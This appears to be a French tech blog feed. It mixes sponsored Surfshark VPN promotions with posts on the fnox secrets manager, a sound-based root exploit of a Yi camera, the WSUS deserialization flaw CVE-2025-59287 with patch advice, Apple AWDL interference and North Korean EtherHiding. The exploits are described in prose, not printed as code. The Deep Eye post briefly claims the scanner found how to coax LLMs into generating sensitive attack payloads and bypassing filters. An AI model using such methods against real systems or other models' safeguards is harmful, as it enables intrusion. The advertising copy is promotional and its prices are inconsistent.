Marre de jongler entre le VPN du boulot, l’antivirus familial et la tonne d’extensions anti-pub ou anti-fuites sur chacun de vos navigateurs ? Surfshark propose avec One et One+ un raccourci radical. Tout ce qu’il faut pour sécuriser ses appareils, son identité et son surf, directement dans un abonnement (que je vous conseille de ne pas rater pendant la période du Black Friday, vu les tarifs…).

À force de partager, télécharger, bosser et communiquer partout, le classique antivirus + VPN ne suffit plus. Bases de données commerciales, fuites de mot de passe, spams, arnaques et pop-ups font désormais partie du décor. Surfshark One fait le pari de la suite compacte : VPN puissant, antivirus, moteur de recherche privé, alerte de fuite de données, générateur d’identité alternative… et depuis quelques jours, blocage intelligent des contenus risqués ou polluants (plus d’infos plus tard).

Les briques majeures de Surfshark One

• Le VPN : un réseau de plus de 3200 4500+ serveurs RAM répartis dans une centaine de pays (ils ont ajouté plus de 1200 serveurs ces dernières semaines), un chiffrement AES-256 et ChaCha réputé … c’est rapide et sécurisé. Et surtout  il permet un nombre de connexions simultanées illimitées pour tous vos appareils, à vie. Split tunneling, Kill Switch, IP tournante et MultiHop inclus pour l’utilisateur avancé.
• L’antivirus : il offre une protection en temps réel sur 5 machines (fichiers, applis, périphériques externes, secteur d’amorçage …), des analyses programmées, une détection des spywares, ransomwares et menaces connues (attaques zero-day & co), etc. Plus une protection webcam intégrée pour éviter les regards indiscrets. Basé sur le moteur Avira, compatible sur Windows, macOS et Android. Ce n’est pas juste un antimalware qui scanne le web, mais aussi l’ensemble des fichiers locaux et les nouveaux périphériques. La base de détection est mise à jour toutes les 3 heures.
• Alert : vous en avez assez des emails « vos données ont fuité » ? Alert surveille en continu comptes, emails, infos bancaires, identités (dans 90 pays !) et vous prévient dès que quelque chose circule là où ça ne devrait pas. Rapports sécurité réguliers inclus, et système de notification instantanée.
• Search : ici on évite Google, Bing & co ! Search garantit des résultats neutres, sans tracking, pas de pub, ni de fiche de profil. Parfait pour les recherches privées ou la famille qui ne veut pas se faire pister ou orienter dans ses recherches.
• Alternative ID : idéal pour s’inscrire partout sans refiler son vrai nom, mail ou adresse. Un générateur d’identités alternatives (adresse, nom, date de naissance, mail anonyme) ultra rapide pour rester masqué en ligne ou limiter le spam.

Les fonctionnalités Alternative ID et Search sont indépendantes du VPN, utilisables tout le temps, ce qui est rare.

Blocage intelligent des contenus et contrôle parental : une approche respectueuse

Contrairement aux outils de contrôle parental classiques, la dernière brique Web Content Blocker ne vise pas à surveiller de manière intrusive les activités des utilisateurs. Il permet de bloquer l’accès à des catégories de sites selon une liste définie, tout en respectant la vie privée. Les catégories disponibles couvrent les besoins courants : sites pour adultes, substances illicites, armes, jeux d’argent, contenus haineux, phishing, pages vérolées, et tout type de contenu jugé risqué ou perturbant.

Le paramétrage est ultra accessible :

• Activation via l’appli Surfshark (onglet Web content blocker dans les paramètres), sélection des catégories à bloquer, nommage des appareils concernés.[​

Protection des réglages grâce à la double authentification (2FA), pour garantir que seuls les administrateurs peuvent modifier les règles, rendant la manipulation impossible aux enfants ou autres membres du foyer.]( https://vpntrust.net/ )​

• Ajout et gestion de plusieurs appareils, le tout synchronisé sous un même compte Surfshark : chaque membre du foyer utilise la même application, la protection s’applique partout (smarpthone, ordinateur, tablette).[​

Fonctionne avec ou sans VPN : il n’est pas nécessaire d’activer la connexion VPN pour bénéficier du blocage, mais c’est possible pour renforcer la confidentialité.]( https://vpntrust.net/ )​

La force de cette approche : une interface unique, simple, pour gérer tous les appareils familiaux. Aucun besoin de compétence avancée ou de logiciel additionnel. Il suffit de mettre à jour l’app Surfshark One ou One+, et la protection est opérationnelle. Aucun espionnage, aucune collecte d’activité : la logique vise entièrement le blocage des catégories pré-sélectionnées, pas l’analyse des comportements.

Comparatifs : Surfshark One, Surfshark One+, Starter : lequel choisir ?

Même si le Starter reste imbattable pour la fibre et Netflix, Surfshark One ajoute de quoi dormir sans stress : votre identité est surveillée, la famille est protégée, tout le monde utilise l’antivirus, et les pop-ups/arnaques sont bloquées sans paramétrage d’usine compliqué. Pour 20 centimes de plus par mois ? Y’a pas à se triturer le cerveau.

En bonus, One+ intègre Incogni, l’outil ultime pour supprimer automatiquement et de manière continue ses infos des bases de données commerciales partout dans le monde.

À quoi ça ressemble en vrai ? (retour d’expérience et conseils)

• Installation ultra-simple : en 2 clics et 10 minutes, tout est fonctionnel sur tous les appareils (Windows, macOS, Android, iOS, Linux).
• Interface claire, options bien rangées, rapports accessibles (même pour les signalements Alert ou les scans antivirus, tout est lisible).
• Pour les familles nombreuses, la connexion illimitée élimine d’emblée la galère des slots payants ou limites de licence. Il n’y a pas à se demander quelle machine laisser de côté si l’on en a plus que le nombre maximal supporté (comme sur d’autres outils concurrents)
• Le blocage des pop-ups et du contenu web polluant est immédiat, sans impact drastique sur la vitesse ni faux positifs gênants.

Point à surveiller : l’antivirus n’est disponible que sur Windows, macOS et Android (pas encore sur iOS, ni Linux).

La promo Black Friday de cette fin d’année, sur l’abonnement 2 ans, c’est une réduction jusqu’à 88 % pour la suite complète en 1 clic. Et toujours avec le bonus de 3 mois offerts en plus. Donc ça vous reviendra à 71€ TTC pour 27 mois (70.96€ pour les géomètres de la précision parmi vous). Mais attention, ce n’est valable que du 20 octobre au 1er décembre. Vous avez un peu de temps, mais ne trainez pas trop !

[

]( https://get.surfshark.net/aff_c?offer_id=1372&aff_id=13768 ) Profitez de Surfshark One au meilleur prix !

Vous connaissez Jeff Dickey ?

C’est le développeur derrière mise , un outil qui permet aux développeurs de gèrer leurs versions d’outils de dev et leurs variables d’environnement.

Et bien cette année, il a sorti fnox , un gestionnaire de secrets.

Si vous êtes développeur, vous savez que les secrets, c’est-à-dire les identifiants, les mots de passe, etc. sont soit stockés en chiffré directement sur le dépôt Git, soit à distance via un cloud provider comme AWS Secrets Manager.

Mais c’est pas très marrant à configurer et à utiliser et c’est pour ça donc que Fnox a été inventé. Fnox utilise un simple fichier de configuration TOML que vous placez dans votre dépôt Git et à l’intérieur duquel les secrets sont soit directement chiffrés soit pointent vers des références distantes sur des services comme : AWS, Azure, GCP, HashiCorp Vault et j’en passe… ou encore des gestionnaires de mots de passe comme 1Password et Bitwarden.

Il y a même possibilité de mettre tout ça en ocal dans le gestionnaire de clés de votre OS ou dans un fichier texte.

L’avantage de cette solution, en plus de sa flexibilité, c’est qu’elle peut être utilisée dans des environnements multiples, que ce soit pour du dev, du staging, de la prod. Et comme tout est stocké sur le Git, les équipes de dev peuvent récupérer le fichier et le déchiffrer de leur côté.

Voici comment ça se met en place :

# Installer via mise (recommandé)
mise use -g fnox

# Initialiser dans votre projet
fnox init

# Définir un secret (chiffré par défaut)
fnox set DATABASE_URL "postgresql://localhost/mydb"

# Récupérer un secret
fnox get DATABASE_URL

# Exécuter des commandes avec les secrets chargés
fnox exec -- npm start

# Activer l'intégration shell (chargement automatique lors du cd)
eval "$(fnox activate bash)" # ou zsh, fish

L’histoire du jour est signée Luke M, un hacker qui a découvert comment rooter une caméra avec… du son !

L’appareil en question est une caméra chinoise de la marque Yi qui utilise une fonctionnalité appelée “Sonic Pairing” pour faciliter la configuration WiFi. Comme ça, au lieu de galérer à taper votre mot de passe WiFi sur une interface minuscule avec vos gros doigts boudinés, vous jouez simplement un petit son depuis votre téléphone et c’est ce son qui contient votre clé WiFi encodés en modulation de fréquence. La caméra écoute, décode, et se connecte.

Magique, non ?

Sauf que cette fonctionnalité marquée en “beta” dans l’app Yi IoT contient deux bugs magnifiques : une stack overflow local et un global overflow. En gros, en fabriquant un fichier audio malveillant avec les bons patterns, Luke a pu injecter du code arbitraire dans la caméra, ce qui lui permet d’obtenir un shell root qui se lance via la commande telnetd avec les identifiants par défaut. Tout ça, sans accès physique… juste la lecture d’un wav ou d’un MP3.

Pour arriver à ses fins, Luke a utilisé Frida , un framework de hooking que j’adore, capable d’intercepter les fonctions natives de l’app. Cela lui a permis de remplacer les données légitimes attendues par l’app par son propre payload.

Le premier bug (stack overflow) n’étant pas suffisant seul, Luke a dû utiliser un autre bug ( un out-of-bounds read via DOOM ) pour leaker un pointeur et contourner l’ ASLR . Mais le second bug (global overflow) est bien plus intéressant puisqu’il lui permet directement de faire une injection de commande via system() lors du pairing, sans avoir besoin d’autre chose.

Voici la waveform utilisée par le second exploit

Et comme la chaîne que vous pouvez envoyer via le son peut faire jusqu’à 128 bytes c’est largement suffisant pour un telnetd ou n’importe quelle commande shell. Notez que pour que l’exploit marche, le bind_key doit commencer par ‘CN’, ce qui force un path exploitable et, en bonus fait causer la caméra en chinois ^^.

Après faut savoir que ce hack amusant ne fonctionne que si la caméra n’est pas encore connectée au cloud. Donc c’est pas très utile pour attaquer des caméras déjà déployées mais ça illustre bien le problème de tout cet IoT pas cher avec des tas de features “pratiques” comme ce “Sonic Pairing” qui finissent par être catastrophique dans la pratique.

Voilà… si vous voulez les détails techniques complets avec les waveforms et le code d’exploit, foncez lire ça sur Paged Out! #7 .

Je vais vous raconter la meilleure de la semaine… Microsoft vient quand même de passer 5 ans à gueuler sur tous les toits que BinaryFormatter est dangereux (ça servait à sérialiser/desérialiser des objets en binaire ave .NET) et qu’il faut arrêter de l’utiliser… et pourtant, on vient d’apprendre qu’ils continuent secrètement de l’utiliser dans WSUS (Windows Server Update Services), leur système censé sécuriser les mises à jour Windows.

Et bien sûr, ce qui devait arriver, arriva… Une magnifique faille critique dans WSUS vient d’être rendue publique, ce qui met en danger environ 500 000 serveurs WSUS actuellement accessibles via le net.

L’histoire commence en réalité en 2020. A cette date, Microsoft déclare officiellement que BinaryFormatter est dangereux, ce qui ne les empêche pas de se faire poutrer Exchange, Azure DevOps, SharePoint en 2021/2021 justement à cause de ça. Du coup, en 2023, ils annoncent le bannissement total de BinaryFormatter en interne. En 2024, ils effectuent même une mise au rebus complète de .NET 9.

Mais c’était sans compter sur cette jolie CVE-2025-59287 d’octobre 2025 qui exploite à son tour BinaryFormatter dans WSUS !

Un oubli ? Pas si sûr, car Microsoft l’utilisait toujours pour déchiffrer les cookies d’authentification de WSUS, rendant ainsi ce système de mises à jour censé protéger Windows vulnérable. La faille, c’est donc une désérialisation non sécurisée. Un attaquant non authentifié envoie une requête SOAP craftée au endpoint GetCookie de WSUS, avec un cookie AuthorizationCookie contenant un payload malveillant. Et de son côté le serveur déchiffre ce truc avec AES-128-CBC, puis passe le résultat directement à BinaryFormatter pour désérialisation.

Et là, bim bam boum, une magnifique exécution de code arbitraire avec privilèges SYSTEM !

Techniquement, la vulnérabilité touche donc les Windows Server 2012 à 2025 qui ont le rôle WSUS activé. Le score CVSS de cette faille est quand même de 9,8 sur 10 ce qui est fait une faille super critique.

L’exploitation de cette faille débute le 24 octobre soit juste après la publication du patch d’urgence de Microsoft sortie la veille c’est à dire le 23 octobre, pour corriger lui-même un autre patch publié juste avant le 8 octobre. Bref un vrai bordel et il faut croire que les attaquants ont attendu la sortie de ce patch d’urgence pour comprendre comment fonctionnait la faille ( l’exploit est ici ).

De son côté, Google Threat Intelligence traque l’acteur cybercriminel UNC6512 qui a ciblé plusieurs organisations et les chiffres font pas plaisir puisque ce sont environ 100 000 tentatives d’exploitation en 7 jours qui ont eu lieues, et 500 000 serveurs WSUS exposés sur le net sur les ports par défaut (8530 HTTP, 8531 HTTPS).

Microsoft a dû sentir la douille arriver puisqu’ils ont déprécié WSUS en septembre de l’année dernière au profit d’autres solutions comme Intune ou WUfb, soit un an avant la sortie de la CVE. Mais bien sûr, comme l’outil reste dans Windows Server 2025 avec ses 10 ans de support réglementaire, des centaines de milliers d’entreprises l’utilisent encore…

Le chaos était garanti ! Maintenant vous me connaissez, je n’aime pas vous laisser sans solution, alors pour les admins sys qui lisent ça, sachez qu’il existe un script PowerShell baptisé Find-WSUS qui permet de détecter tous les serveurs WSUS configurés dans vos GPO. C’est pratique pour faire l’inventaire et vérifier que tout est patché. Et notez aussi que le patch d’urgence c’est le KB5070883. Et si vous ne pouvez pas patcher immédiatement parce que la vie est injuste, désactivez quand même le rôle WSUS de vos Windows Server, ou bloquez les ports 8530/8531 directement dans votre firewall.

Le vrai problème en fait, c’est que WSUS n’est qu’un symptôme car une grosse partie du code en entreprise est constitué de dette technique. C’est à dire du code “mort” qui continue de tourner car personne n’ose y toucher. Brrr… ça fait peur c’et sûr ! Surtout que même Microsoft n’arrive pas à tuer sa propre création 5 ans après l’annonce de sa mort officielle, donc autant dire qu’on a tous un sérieux problème.

Bref, patchez au plus vite !

Source

Vous allez voir, l’histoire que je vais vous raconter cet aprem est à l’origine sympa mais a malheureusement a pris un tournant un peu moche avec un Effet Streisand à la clé… Tout commence en mars dernier quand Proven Industries publie une vidéo un peu provoc pour faire la promo de leurs cadenas ultra-sécurisés. Un follower commente alors “Faudrait montrer ça à @mcnallyofficial”. et sous ce message, Proven répond alors avec une confiance inébranlable : “McNally ? Il aime que les cadenas cheap, faciles à ouvrir.”

Mauvaise idée.

Car McNally, c’est pas juste un YouTuber qui fait des vidéos marrantes avec des cadenas. C’est un ancien sergent-chef de la Marine américaine qui a passé des années à étudier la sécurité physique. Le genre de gars qui ouvre votre serrure pendant que vous cherchez vos clés et quand une entreprise comme Proven le provoque publiquement, il ne peut pas laisser passer ça…

Alors le 3 avril, McNally publie sa réponse dans une vidéo titrée “$130 lock bypassed with a can”. 30 secondes chrono, des ciseaux, une canette vide, et hop ! Le cadenas Proven s’ouvre comme une boîte de conserve. Cette technique s’appelle le shim attack, et en gros, c’est une cale triangulaire qu’on insère dans le cadenas pour exploiter une vulnérabilité de conception assez classique.

Ce serait cool si on pouvait réunir les Avengers des LLMs pour les faire bosser ensemble sur de la recherche de faille de sécurité ? OpenAI, Anthropic, X.AI et Meta ensemble contre les forces du mal, c’est maintenant possible avec Deep Eye , un super scanner de vulnérabilités qui transforme les quatre IA rivales en équipe de pentesteurs. Vous allez voir, c’est assez génial !

Deep Eye, c’est donc un outil Python open source qui scanne les sites web et les API pour trouver des vulnérabilités. SQL injection, XSS, command injection, SSRF, path traversal, authentication bypass, au total y’a plus de 45 méthodes d’attaque automatisées. Vous lui indiquez une URL, et il teste tout en switchant entre les services d’IA selon le contexte.

Dans le contexte d’un pentest légitime, Deep Eye a même trouvé comment parler aux IA pour qu’elles acceptent de pondre du code un peu sensible. Et ça tombe bien car chaque IA a ses forces et ses faiblesses. GPT-4 par exemple excelle sur les payloads créatifs et les contournements de filtres. Claude lui est plus méthodique, et capable de mieux analyser le contexte et de génèrer des attaques adaptées au framework détecté. LLAMA en local quand à lui est rapide et ne coûte rien en appels API. Et Grok ? Bah il a le mérite d’être dispo même s’il est loin d’être le meilleur.

Deep Eye en tout cas est capable des les utiliser toutes selon la situation. Pour l’installer, ça se passe en 3 commandes :

Vous installez ça comme ceci :

git clone https://github.com/zakirkun/deep-eye.git
cd deep-eye

cd scripts
./install.ps1

chmod +x scripts/install.sh
cd scripts
./install.sh

python deep_eye.py -u https://example.com

Utiliser un VPN solide, en 2025, n’est plus l’apanage de l’admin-parano ou du téléchargeur du dimanche. Avec l’explosion de la surveillance commerciale, la multiplication des tentatives de phishing, sans oublier la géographie des contenus online toujours plus segmentée, le VPN relève désormais du kit de survie numérique. Et je ne parle pas d’un kit d’urgence à la con tout pourrit en mode gouvernement français 2025. Surfshark, dans ce paysage saturé, a tiré son épingle du jeu en multipliant les fonctionnalités de protection tout en accélérant la connectivité et en simplifiant l’accès à l’anonymat. Le tout en restant l’un des moins chers du marché.

Les grandes forces de Surfshark VPN

Puisqu’il faut toujours rappeler les bases pour savoir de quoi l’on parle, voici en quelques points :

• Chiffrement de niveau militaire (AES-256, ChaCha20) pour assurer la confidentialité totale : vos données restent incompréhensibles sans la clé, même en cas d’interception.
• Kill Switch : internet coupé automatiquement si le VPN décroche. Pas de fuites accidentelles, on évite d’aller placarder involontairement l’IP ou les habitudes de navigation.
• Mode Camouflage : même votre FAI ne sait pas ce que vous faites avec votre VPN, utile face à la censure et dans certains pays restrictifs.
• Connexion illimitée sur tous les appareils ; pas de limite familière à 5 ou 7 slots, tout le foyer peut se connecter sans surcoût.
• No Log, audit indépendant, CleanWeb, split tunneling, MultiHop, etc. — liste longue comme le bras, aucune collecte d’activité persistante vérifiée par des audits externes ; Surfshark ajoute même des outils pour gérer l’identité en ligne ( Alternative ID ) ou supprimer ses traces sur le web (Incogni).

L’initiative VPN Trust Initiative (VTI) : redéfinir la confiance

Protéger les données, c’est bien ; prouver qu’on le fait, c’est mieux ! Les scandales récurrents dans l’industrie du VPN (fuites, ventes de logs) ont mené à la création de la VPN Trust Initiative. Cette alliance des principaux fournisseurs ( dont Surfshark , NordVPN, ExpressVPN, etc.) vise à poser des normes techniques et éthiques claires autour de 5 piliers : sécurité, confidentialité, pratiques publicitaires, transparence et responsabilité sociale.

Pour les utilisateurs, le label VPN Trust Seal fonctionne comme un repère : il atteste qu’un service respecte une charte, limite les logs à l’indispensable, utilise du chiffrement sérieux, ne fait pas de promesses mensongères et agit dans l’intérêt de l’utilisateur. Cette labellisation favorise la confiance, démystifie l’industrie, et pousse tous les acteurs vers une transparence attendue.

Sous prétexte de protéger la sécurité ou l’ordre public, de nombreux gouvernements pressent pour créer des portes dérobées ou affaiblir le chiffrement — et ça, Surfshark, épaulé par la VTI, s’y oppose frontalement. Pour eux, brider le chiffrement (au profit d’un accès simplifié pour les autorités), c’est ouvrir grand la porte aux cybercriminels, mettre en danger la vie privée de tous, et piétiner la sécurité même des États et entreprises.

La défense de l’AES-256 et du chiffrement de bout en bout n’a donc rien d’une posture marketing, c’est la garantie minimale contre l’interception de masse et le piratage industriel. Sans chiffrement fort, VPN ou pas, nul n’est à l’abri de la compromission de ses données bancaires, médicales ou stratégiques.

Le futur des VPN, entre IA et résistance au quantique

Seulement, le secteur VPN ne s’arrête pas à la stricte confidentialité du surf. Face à l’avènement de l’internet quantique, des IA prédictives, et d’une segmentation toujours plus poussée des usages, Surfshark imagine déjà la suite : chiffrement post-quantique, routage dynamique et IA anti-censure sont sur la feuille de route. L’objectif : un service adaptatif, capable de rester invisible même sous surveillance avancée, tout en conservant le confort utilisateur (débits constants, streaming instantané…). À eux de nous montrer qu’il ne s’agit pas que de buzzwords, mais qu’il y a quelque chose derrière.

On assiste à l’émergence de « super VPN » capables de mixer anonymat, suppression d’empreinte numérique et gestion automatisée d’identités virtuelles. Chez Surfshark, le réseau Nexus (routage dynamique) ou la toute nouvelle  solution FastTrack posent déjà les premiers jalons d’une défense active, plutôt que réactive.

En somme, un VPN n’est plus juste un « tunnel chiffré », mais la pierre angulaire d’une vie numérique digne de ce nom. Et autant qu’elle soit guidée par des standards de confiance stricts, un refus catégorique des compromissions sur le chiffrement, et une vision claire du futur de la confidentialité. VTI, audits, innovations : à l’ère des menaces structurelles et de la surveillance tous azimuts, ce sont ces signaux qu’il faut traquer, bien plus qu’un effet d’annonce ou une promo temporaire.

Et vous pouvez avoir tout ça durant** 27 mois (abo 2 ans + 3 mois gratuits) pour moins de 65€ TTC** ! Presque 2026 et vous pouvez encore disposer d’un VPN parmi les meilleurs pour moins de 2.4€/mois. Avec toujours la garantie satisfait ou remboursé sur 30 jours et la possibilité de payer en cryptomonnaies pour un peu plus d’anonymat (un peu j’ai dit, ne vous emballez pas trop).

Je profite de l’offre Surfshark VPN !

Vous streamez une vidéo sur votre iPad, tout va bien, et puis ça lag. Pas beaucoup hein, juste une petite micro-saccade bien en rythme toutes les deux secondes. Ce n’est pas la faute de votre routeur et pourtant vous avez beau pinger votre réseau local, ça saute de 3 ms à 90 ms… Bienvenue dans le monde merveilleux d’AWDL, la technologie Apple qui transforme plus d’un milliard d’appareils en mini-pollueurs du spectre WiFi.

Christoff Visser, ingénieur au labo de recherche d’Internet Initiative Japan, a eu ce problème et en a parlé lors de sa dernière présentation à la conférence RIPE 91 . Il était en train de streamer un jeu avec Moonlight quand ça s’est mis à sauter à intervalles réguliers. Ça l’intrigue, alors il fait ce que ferait n’importe quel ingénieur réseau qui se respecte… Il sort Wireshark et commence à tout sniffer.

Et là, surprise… Son iPad saute entre les canaux WiFi.

Mais pas aléatoirement, hein… précieusement toutes les deux secondes. C’est alors qu’il comprend que le coupable est le protocole AWDL (Apple Wireless Direct Link). Vous voyez AirDrop, cette app magique qui vous permet d’envoyer des fichiers entre iPhone et Mac sans rien configurer ? Handoff, qui vous laisse continuer votre mail de l’iPhone sur le Mac ? Sidecar, pour utiliser votre iPad comme second écran ? Hé bien toute cette magie Apple repose sur ce protocole propriétaire non-documenté qui tourne en permanence sur vos appareils.

Voici comment ça marche… Pour que deux appareils Apple puissent se parler n’importe où dans le monde, ils doivent d’abord se trouver. Apple a donc défini ce qu’on pourrait appeler des canaux sociaux : le canal 6 pour le 2,4 GHz, les canaux 44 et 149 pour le 5 GHz. Ce sont si vous voulez, des points de rendez-vous. Vos appareils sautent alors régulièrement sur ces canaux pour vérifier si quelqu’un veut leur parler, puis reviennent sur le canal de votre réseau WiFi.

Sauf que si vous êtes un admin réseau malin, vous n’utilisez PAS ces canaux parce que tout le monde les utilise. Vous scannez le spectre, vous trouvez un canal vide, et vous configurez votre réseau là-dessus pour éviter les interférences. Logique, non ?

Bah non. Pas avec Apple.

Parce que vos appareils Apple, eux, ils s’en foutent. Ils vont QUAND MÊME sauter sur les canaux 6, 44 ou 149 pour checker si quelqu’un veut leur parler, puis revenir. Hop. Toutes les deux secondes. Que vous utilisiez AirDrop ou pas. Que vous ayez d’autres appareils Apple à proximité ou pas. En permanence !

C’est dingue non ? Du coup, on se retrouve avec ces micro-coupures et une latence qui explose. Visser a découvert que ce problème est remonté sur les forums utilisateurs depuis 2019 . Les gens se plaignent, mais personne ne comprend vraiment ce qui se passe parce qu’Apple ne documente pas AWDL et que ces paquets sont invisibles sur votre propre machine. Du coup, diagnostiquer ça est presque impossible.

Visser a donc contacté Apple via leur Feedback Assistant et il n’a obtenu aucune réponse. Même après sa conf à RIPE91, Apple a gardé le silence…

Bref, le “ça marche tout seul” d’Apple a un coût sauf que ce n’est pas Apple qui le paie. C’est nous, les admins réseaux et tous les autres appareils sur le réseau. Apple a optimisé l’expérience de SES utilisateurs en externalisant le problème sur l’infrastructure WiFi des autres.

Alors y’a t-il des solutions ?

Bah justement. Vous avez trois options mais je vous préviens, elles sont toutes pourries.

• Option 1 : Désactiver AWDL avec sudo ifconfig awdl0 down. Cool, ça marche sauf que vous perdez AirDrop, Handoff, Sidecar, et toutes les fonctionnalités cools qui font qu’un iPhone est un iPhone. Autant acheter un Android à ce tarif…
• Option 2 : Configurer votre réseau WiFi sur les canaux 6, 44 ou 149. Utiliser les mêmes canaux que tout le monde pour éviter que vos appareils Apple ne sautent est donc une bonne option, même si ces canaux sont souvent saturés. Et au Japon, le 149 est carrément interdit !
• Option 3 : Vivre avec en totale acception de votre sort. Vous devez accepter que vos appareils Apple sont des gros dégueulasses qui vont polluer le WiFi, accepter ces micro-latences et accepter que votre admin réseau va vous poursuivre avec un couteau dans les couloirs de la boite quand il aura lu mon article.

Et comme ce n’est pas un problème de matériel, acheter un nouveau routeur WiFi 7 ne changera rien puisque le problème, c’est la communication directe entre VOS appareils. Apple pousse même le RFC 9330 (L4S) pour réduire les délais réseau, mais ça ne résoudra rien non plus parce qu’AWDL, c’est du peer-to-peer et ça bypass votre routeur.

Quelqu’un n’a même pas besoin d’être connecté à votre réseau pour foutre le bordel. Il peut juste passer à côté de vous dans un café, déverrouiller son iPhone, et boom, votre réseau va glitcher quelques secondes pendant que vos appareils négocieront avec le sien.

Visser a donc présenté tout ça en espérant que les admins réseau et les FAI soient enfin informés du souci et puisse répondre enfin aux utilisateurs qui rencontrent ce problème invisible. Donc, voilà, la prochaine fois que votre connexion WiFi merdera sans raison, regardez autour de vous et comptez les iPhones et autres appareil Apple car chacun d’eux est en train de jouer à saute-moutons entre les canaux de votre réseau.

Plus d’un milliard d’appareils qui font ça en permanence, partout dans le monde, c’est pas rien quand même…

Bref…

Source

La rentrée 2025 n’est pas que le retour des agendas surchargés : c’est le moment que Surfshark a choisi pour dégainer deux nouveaux gros arguments techniques, histoire de rebattre encore une fois les cartes sur le ring des VPN. Avec la montée de serveurs à 100Gb/s et l’introduction de FastTrack, la promesse est simple : le VPN doit être un accélérateur, pas un boulet sur la bande passante.

Prendre le train en marche du haut débit

Depuis quelques années, Surfshark s’est taillé une place de choix pour protéger l’identité en ligne à petit prix, sans compromis sur la simplicité : appli claire, connexions simultanées illimitées, protection intégrée contre le phishing et même option MultiHop pour ceux qui veulent brouiller les pistes jusqu’au bout. L’utilisateur lambda retrouve sans peine ses petits, tandis que les plus exigeants bidouillent dans les options avancées (protocole WireGuard, split tunneling, blocage pub via CleanWeb …).

Sauf que dans la vraie vie numérique (un stream, un jeu, plusieurs téléchargements …), un VPN, ça peut très vite devenir une source de ralentissements, ce qui agace vite tout le monde. C’est là que les nouveautés 2025 de Surfshark tapent fort.

Les serveurs 100 Gb/s : le VPN ne doit plus freiner

Surfshark est le premier acteur du marché à déployer des serveurs VPN 100 Gb/s, inaugurés à Amsterdam sur l’AMS-IX — l’un des plus gros hubs internet d’Europe. Ce bon technique, 10 fois supérieur à la génération précédente (la norme était de 10 Gb/s), change profondément la donne. Objectif : absorber sans broncher la multiplication des appareils connectés dans chaque foyer, le boom des usages en 4K et des fichiers (ou jeux) de plus en plus lourds, comme les vidéos à 360° & co.

Concrètement, les risques de saturation ou de ralentissements sur les heures « pleines » disparaissent. Même si votre connexion fibre est upgrade à 2 Gb/s, le VPN tient le choc et ne s’interpose plus comme goulet d’étranglement. L’approche anticipe aussi l’arrivée des usages AR/VR en streaming, très gourmands en bande passante.

Côté utilisation, rien à faire de spécial : on choisit son serveur et la mécanique se charge du reste. Certes, pour l’instant seuls certains emplacements sont équipés, mais Surfshark annonce déjà des déploiements progressifs dans d’autres villes après cette première phase de test.

FastTrack : fini la galère du serveur congestionné

Deuxième innovation à signaler : FastTrack, disponible dès cet automne, vise à rendre la navigation sous VPN aussi fluide que votre trajet matinal … un lundi de grève générale sans personne dans les rues.

FastTrack analyse en temps réel le réseau Nexus de Surfshark, et trouve automatiquement le chemin le plus rapide, en court-circuitant toute zone congestionnée ou serveur embouteillé. Résultat : jusqu’à 70% de gain de vitesse dans certains cas, et une latence en chute libre, même pour du gaming ou du streaming 4K. L’optimisation se fait à la volée, l’utilisateur n’a rien à régler. C’est un peu le mode « Waze » du VPN : plutôt qu’un trajet direct plan-plan, FastTrack cherche la route la moins saturée, et ajuste tout si besoin. Voici la vidéo qui vous en dira plus :

Le déploiement se fait par étapes (d’abord MacOS, villes pilotes…), mais il n’y a pas de surcoût ni de manipulation complexe. Les premiers retours utilisateurs rapportent un effet perceptible, surtout aux heures de pointe, avec des gains sur le ping ingame ou la stabilité du stream sur plateformes exigeantes.

Donc si vous ne voyez pas encore d’amélioration c’est normal, soyez patient. La performance maximale dépend de l’emplacement des serveurs 100Gb/s ; hors Amsterdam, on reste sur de l’excellent 10 Gb/s, ce qui suffit déjà à la très grande majorité des usages domestiques.

Fonctionnalités et expérience utilisateur : une solution complète, prix mini

Surfshark conserve tous ses arguments historiques :

• Connexions illimitées avec un seul abonnement : le VPN familial par excellence.
• Un réseau mondial vaste (plus de 100 pays couverts, serveurs RAM only), aucune journalisation à long terme, audits indépendants réguliers.
• Mode camouflage pour les réseaux restrictifs, CleanWeb pour bloquer pubs et phishing.
• Support WireGuard & OpenVPN, streaming sans géo-blocage, split tunneling, etc.

À cela s’ajoute la compétitivité du tarif long terme : Surfshark affiche depuis toujours l’un des prix au mois parmi les plus bas du marché, avec souvent des promos (3 mois ou 4 mois offerts, voire plus selon la période). Et toujours la possibilité d’obtenir un remboursement si le service ne vous convient pas.

Cela dit il reste encore des points d’améliorations possibles. L’interface Linux est fonctionnelle, mais encore rugueuse comparée aux autres OS, Surfshark ne propose pas de serveur « dédié jeux vidéo » avec un ping aussi bas que certains concurrents sur ce segment, mais s’en sort très bien sur les usages généraux. Enfin l’accès en Chine reste aléatoire selon certains utilisateurs (pas testé personnellement par contre, si un jour je décide de faire un séjour au temple des moines shaolins je vous dirai).

(je fais déjà pareil avec des barres de chocolat)

Le VPN est déjà prêt pour 2026

Surfshark VPN profite de cette rentrée pour montrer que la cybersécurité ne doit plus être synonyme de concessions techniques. Les 2 dernières nouveautés, si elles ne révolutionnent pas les choses, marquent un vrai saut générationnel, ouvrant la voie à un VPN qui disparait en usage quotidien, sans sacrifier la perf’ ni la vie privée.

Côté usage, c’est toujours aussi simple : on clique, ça marche, on ne s’en occupe plus. Ceux qui veulent bidouiller pourront exploiter toutes les options, les autres se contenteront de profiter d’un Internet plus sûr, plus rapide et moins stressant.

Les promos valables en ce moment permettent de sécuriser ses connexions pour une bouchée de pain (moins de 2.4€/mois TTC), avec 3 mois offerts et une flexibilité d’utilisation rare. En résumé, Surfshark avance avec sérieux sur la vitesse et la confidentialité. Si votre VPN vous fait encore ramer, c’est peut-être le moment de changer d’ère/air.

Découvrir Surfshark VPN au meilleur tarif !

Vous êtes développeur blockchain et vous recevez un message LinkedIn d’un recruteur sympa pour une boîte qui a l’air tout a faire sérieuse. Ils ont un site web propre, des profils crédibles, et ils vous proposent de faire un petit test technique sur GitHub. Ça vous parle ? Bah oui, je vous ai parlé de cette arnaque y’a 2 jours … Et malheureusement, si vous n’y prenez pas garde, vous télécharger le code, vous le lancez, et BOOM… vous venez de contribuer financièrement au programme de missiles balistiques nord-coréen.

Bravo !

Car oui d’après une enquête de Google Threat Intelligence le groupe nord-coréen UNC5342 (aussi connu sous une dizaine d’autres noms selon qui le traque) a adopté une technique qui fait froid dans le dos : EtherHiding. Le principe c’est de. cacher du code malveillant directement dans des smart contracts sur la blockchain et selon Google, c’est la première fois qu’on documente qu’un état-nation utilise cette méthode.

